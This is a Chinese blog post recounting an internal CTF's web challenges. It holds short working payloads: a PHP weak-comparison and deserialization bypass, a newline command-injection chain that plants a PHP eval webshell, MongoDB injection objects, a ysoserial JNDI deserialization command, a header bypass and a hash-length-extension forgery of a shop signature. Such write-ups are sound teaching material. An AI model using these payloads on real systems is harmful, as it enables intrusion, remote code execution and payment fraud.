CTF-web的经历

  • A+
所属分类:CTF专场

最近参加了内部CTF,只会web,题目不难,基本做的差不多了。

因为不确定是否可以传播,因此截图和源码都比较少,主要是心路历程。


第一题,PHP unsafe


扫描到/download.php,/download.php~为其备份文件,泄露源码。

源码是一个很简单的MD5科学计数法的弱类型比较。

即0e861580163291561247404381396064形式的md5值可视为科学计数法,值为0,用类似的值去比较即可碰撞出密码。

参考

https://zhuanlan.zhihu.com/p/349853934

过了这关可以获取index.php的源码,是一个PHP反序列化以及弱类型的比较,关于PHP反序列化可以参考我的过往文章。

考点一

    if (strcmp($this->a,strcmp($this->b, "abc")) ===0)

这里$this->a为常数NULL,因此strcmp($this->b, "abc")也必须为NULL,结合后面的代码让$this->b为数组就行了。

考点二

if(strpos($_GET['c'],"flag")!==false)

这里序列化数据不能包含flag,但最终的payload又必须有flag,也就是要给序列化数据进行编码。刚好PHP序列化可以通过大写S的方法对字符串进行转义。

s:18:"<?php phpinfo();?>"S:18:"3c3f706870phpinfo();?>"

最终获得flag


第二题,抓黑客


给了一个压缩文件,里面是流量包和SSL.log,需要用较新版的Wireshark进行读取。读取之后发现黑客上传了一个webshell。

同时那个上传接口只能上传图片后缀的文件,无法绕过。

考点就是利用那个webshell

核心代码如下

if ( !preg_match('/^w+$/'$name[$i]) )exec('echo ' . implode(" ", $name));

也就是传输一个数组,数组的值只允许a-z,A-Z,0-9以及下划线,最后将所有值前面加个空格然后拼接起来。

也就是echo xxx xxx的命令拼接绕过。

此处利用了一个小技巧就是正则会无视最后一个换行,因此$name[0]=123%0A也是可以过if的。而echo 123x0A sh 1.sh就可以执行sh了。

CTF-web的经历

那么1.sh从哪儿来呢?上传接口只能上传1.jpg之类的文件,有点过不了if。仔细研究后发现可以上传名称为【jpg】【png】【gif】的文件。而且由于文件无法覆盖,这里只有三次机会。

最终上传文件内容如下

echo '<?php eval($_POST[1]);?>'  > 1.php

再用name[]=1%0A&name[]=sh&name[]=jpg触发拿到webshell


第三题,来找茬


考点一,nodejs的MongoDB注入,以下均可

{"username":{"$ne":null},"password":{"$ne":null}}{"username":{"$regex": "^"},"password":{"$regex": "^"}}{"username":{"$not":{"$type":1}},"password":{"$not":{"$type":1}}}

考点二,CVE-2020-7699

https://www.freebuf.com/vuls/246029.html


第四题,Java群英会


这题纯粹败在了字典不够完善的缺陷上。

/doc.html校验Authorization,一开始应该是个很复杂的密码,没人能爆破出来,第二天改成admin:admin123了。


里面展示了几个接口,登录接口存在rememberMe也就是说是shiro,反序列化爆破key无果。访问/;/sys/user/index越权成功。


其中一个查询接口泄露admin的账户密码,登录后访问其他几个接口都没有任何反应,于是陷入僵局。


新增提示/h2,/druid,进去/h2,发现存在多个数据库连接测试,我优先选择的是mysql任意文件读取和mysql反序列化,都失败。最后发现JNDI注入,这里不清楚java版本,于是直接用CommonsBeanutils1链成功反序列化。

 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 calc 


这道题目非常接近真实环境,可惜我字典不行,很多目录没扫出来。


第五题,简单计算题


只有一个test.php提示未授权访问,需要用到header绕过,一般是XFF头,但这里却用的是XFF的变种,应该困住了一些人。

X-Forwarded-For: 127.0.0.1X-Forward-For: 127.0.0.1

然后是常规XXE读flag,没有任何过滤。这里应该加上点本地dtd,php伪协议,XXE编码的知识,否则太简单了。


第六题,HashShop


一个简单商城,注册账户只有300积分,要求购买888积分的flag,购买数据包为如下

POST /payment/check?signature=d9dbe0b94a800571c82b90a0c23b308e
order_id=71&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1625369255.403636

这里可修改参数为buyer_id=17/buyer_point=300/good_price=888

分别是购买者id,购买者剩余积分,购买商品所需积分。篡改之后提示签名错误,也就是signature值不对。

那么考点就是哈希长度扩展。

https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html

安装hashpump,进行hash篡改,此处有几个问题。

1,hashpump需指定secretkey长度,这里必须爆破,但我却使用了1-32的爆破区间,浪费了很长时间。最后才有提示说是50,以后拿1-100当区间了。


2,有三处地方都有可能篡改,buyer_point=1000,good_price=1都可以,然而buyer_id>17有16种可能,也需要爆破。


3,关于篡改验证签名,是md5(xxx)=d9dbe0b94a800571c82b90a0c23b308e,d9dbe0b94a800571c82b90a0c23b308e是事先算出来的,而xxx是什么就很重要了。经过反复确认,xxx关联的并不是buyer_id=17这个17,而是POST包的整个data,也就是说随便加换行符,&,无关参数,或者把17进行URL编码都会提示签名错误。

那么这种情况,将hashpump的payload直接发送和URL编码发送都是错误的,必须发送原值。

也就是要发送下面这个。

urldecode('order_id=71&buyer_id=17&good_id=38&buyer_point=250&good_price=888&order_create_time=1625369255.403636%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%04%00%00%00%00%00%00&buyer_id=1')

我开始认为这种字节无法使用burp爆破,因此自己写python脚本进行爆破,也浪费了一定时间。

最终buyer_id=16,secretkey长度为50基础上进行哈希长度扩展就能做出来这题了。


而burp也可以对这种字节进行爆破,虽然00字节字典无法导入,但可以先导入%00等字节,再设置urldecode的rule。


本文始发于微信公众号(珂技知识分享):CTF-web的经历

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: